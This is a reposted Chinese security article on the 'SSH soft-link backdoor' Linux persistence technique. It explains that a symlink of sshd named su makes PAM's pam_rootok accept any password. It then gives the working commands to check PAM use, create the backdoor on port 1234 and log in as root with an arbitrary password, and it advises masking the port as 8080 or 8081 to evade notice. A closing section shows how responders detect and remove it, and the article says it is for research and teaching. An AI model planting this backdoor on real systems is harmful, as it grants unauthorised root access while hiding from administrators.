请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关,如有侵权,告知即删并致歉,感谢!
软链接原理
软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),su在pam_rootok只检测uid 0即认证成功,导致了可以使用任意密码登录。
利用条件
ssh配置中开启了PAM进行身份验证
查看是否使用PAM进行身份验证:
cat /etc/ssh/sshd_config|grep UsePAM
创建后门
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=1234 #root权限下使用
这个软链接的路径不是固定的,但是名字需要查询pam_rootok模块,下列输出的名字即可作为软链接。
find /etc/pam.d | xargs grep "pam_rootok"
尝试连接
ssh [email protected] -p 1234
密码随便输入即可 前面说了pam_rootok.so主要作用是使得uid为0的用户可以直接通过认证而不用输入密码
因为使用了这个模块所以root用户切换普通用户不需要输入密码,如果注释,在root切换普通用户的时候仍然需要输入口令。
软链接缺点
-
只在服务器开机的情况下生效,关机就无效了(可以配合计划任务进行组合权限维持)。 -
操作简单,需要开一个端口,相对来说也会比较容易被发现。优点:能够绕过一些网络设备的安全流量监测,但是本地在查看监听端口时会暴露端口,建议设置成8081,8080等端口。
应急响应
查看服务器开放的端口
netstat -anpt
发现开启有1234异常端口名字为su,uid为66839 查看uid
ll /proc/66839
发现为ssh
现在需要找所有su文件,以及查找具体哪一个su是软链接后门
find -name su
ll /tmp/su
最终确定软链接为/tmp/su 可以进行删除
rm -rf /tmp/su
kill -9 66839
原文始发于微信公众号(河马安全区):Linux权限维持-SSH软链接后门
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论